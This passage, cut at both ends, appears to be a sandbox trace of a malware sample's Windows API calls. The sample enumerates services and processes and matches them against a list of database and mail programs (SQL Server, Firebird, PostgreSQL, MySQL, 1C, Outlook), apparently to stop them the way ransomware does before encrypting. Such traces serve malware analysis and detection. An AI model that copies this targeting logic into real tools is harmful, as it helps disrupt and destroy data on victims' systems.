th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0191.933] CloseHandle (hObject=0x1dc) returned 1 [0191.933] Sleep (dwMilliseconds=0x1f4) [0192.668] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0192.669] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0192.669] GetLastError () returned 0xea [0192.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0192.669] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0192.708] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0192.708] lstrlenW (lpString="Appinfo") returned 7 [0192.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0192.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0192.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0192.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0192.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0192.709] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0192.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.709] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0192.709] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0192.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0192.709] lstrlenW (lpString="AudioSrv") returned 8 [0192.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0192.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0192.709] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0192.709] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0192.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0192.709] lstrlenW (lpString="BFE") returned 3 [0192.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0192.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0192.709] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0192.709] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0192.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0192.709] lstrlenW (lpString="CryptSvc") returned 8 [0192.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0192.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0192.709] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0192.709] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0192.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0192.709] lstrlenW (lpString="CscService") returned 10 [0192.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0192.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0192.709] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0192.709] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0192.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0192.710] lstrlenW (lpString="DcomLaunch") returned 10 [0192.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.710] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0192.710] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0192.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0192.710] lstrlenW (lpString="Dhcp") returned 4 [0192.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0192.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0192.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0192.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0192.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0192.710] lstrlenW (lpString="Dnscache") returned 8 [0192.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0192.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0192.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0192.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0192.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0192.710] lstrlenW (lpString="DPS") returned 3 [0192.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0192.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0192.710] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0192.710] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0192.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0192.710] lstrlenW (lpString="eventlog") returned 8 [0192.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0192.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0192.710] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0192.710] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0192.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0192.710] lstrlenW (lpString="EventSystem") returned 11 [0192.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0192.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0192.711] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0192.711] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0192.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0192.711] lstrlenW (lpString="gpsvc") returned 5 [0192.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0192.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0192.711] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0192.711] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0192.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0192.711] lstrlenW (lpString="iphlpsvc") returned 8 [0192.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.711] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0192.711] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0192.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0192.711] lstrlenW (lpString="LanmanServer") returned 12 [0192.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0192.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0192.711] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0192.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0192.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0192.711] lstrlenW (lpString="LanmanWorkstation") returned 17 [0192.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.711] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0192.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0192.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0192.711] lstrlenW (lpString="lmhosts") returned 7 [0192.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0192.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0192.712] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0192.712] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0192.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0192.712] lstrlenW (lpString="MMCSS") returned 5 [0192.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0192.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0192.712] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0192.712] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0192.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0192.712] lstrlenW (lpString="MpsSvc") returned 6 [0192.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0192.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0192.712] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0192.712] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0192.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0192.712] lstrlenW (lpString="Netman") returned 6 [0192.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0192.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0192.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0192.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0192.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0192.712] lstrlenW (lpString="netprofm") returned 8 [0192.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0192.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0192.712] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0192.712] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0192.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0192.712] lstrlenW (lpString="NlaSvc") returned 6 [0192.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0192.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0192.713] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0192.713] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0192.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0192.713] lstrlenW (lpString="nsi") returned 3 [0192.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0192.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0192.713] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0192.713] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0192.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0192.713] lstrlenW (lpString="PcaSvc") returned 6 [0192.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0192.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0192.713] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0192.713] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0192.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0192.713] lstrlenW (lpString="PlugPlay") returned 8 [0192.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0192.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0192.713] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0192.713] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0192.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0192.713] lstrlenW (lpString="Power") returned 5 [0192.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0192.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0192.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0192.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0192.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0192.713] lstrlenW (lpString="ProfSvc") returned 7 [0192.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0192.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0192.713] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0192.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0192.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0192.714] lstrlenW (lpString="RpcEptMapper") returned 12 [0192.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.714] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0192.714] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0192.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0192.714] lstrlenW (lpString="RpcSs") returned 5 [0192.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0192.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0192.714] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0192.714] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0192.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0192.714] lstrlenW (lpString="SamSs") returned 5 [0192.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0192.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0192.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0192.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0192.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0192.714] lstrlenW (lpString="Schedule") returned 8 [0192.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0192.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0192.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0192.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0192.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0192.714] lstrlenW (lpString="SENS") returned 4 [0192.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0192.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0192.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0192.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0192.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0192.715] lstrlenW (lpString="ShellHWDetection") returned 16 [0192.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.715] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0192.715] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0192.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0192.715] lstrlenW (lpString="Spooler") returned 7 [0192.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0192.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0192.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0192.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0192.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0192.715] lstrlenW (lpString="swprv") returned 5 [0192.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0192.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0192.715] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0192.715] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0192.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0192.715] lstrlenW (lpString="SysMain") returned 7 [0192.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0192.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0192.715] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0192.715] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0192.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0192.715] lstrlenW (lpString="Themes") returned 6 [0192.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0192.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0192.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0192.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0192.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0192.716] lstrlenW (lpString="TrkWks") returned 6 [0192.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0192.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0192.716] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0192.716] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0192.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0192.716] lstrlenW (lpString="UxSms") returned 5 [0192.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0192.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0192.716] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0192.716] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0192.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0192.716] lstrlenW (lpString="VSS") returned 3 [0192.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0192.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0192.716] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0192.716] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0192.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0192.716] lstrlenW (lpString="WdiServiceHost") returned 14 [0192.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0192.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0192.716] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0192.716] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0192.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0192.716] lstrlenW (lpString="WdiSystemHost") returned 13 [0192.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0192.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0192.716] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0192.716] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0192.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0192.717] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0192.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0192.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0192.717] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0192.717] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0192.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0192.717] lstrlenW (lpString="Winmgmt") returned 7 [0192.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0192.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0192.717] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0192.717] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0192.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0192.717] lstrlenW (lpString="WPDBusEnum") returned 10 [0192.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0192.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0192.717] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0192.717] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0192.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0192.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0192.717] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0192.719] Process32FirstW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.719] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0192.720] lstrlenW (lpString="System") returned 6 [0192.720] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0192.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0192.720] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0192.720] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0192.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0192.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0192.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0192.720] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0192.720] lstrlenW (lpString="smss.exe") returned 8 [0192.720] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0192.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0192.720] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0192.720] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0192.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0192.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0192.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0192.721] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.721] lstrlenW (lpString="csrss.exe") returned 9 [0192.721] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0192.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0192.721] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0192.721] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0192.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0192.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0192.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0192.721] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0192.722] lstrlenW (lpString="wininit.exe") returned 11 [0192.722] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0192.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0192.722] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0192.722] Process32NextW (in: hSnapshot=0x218, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, 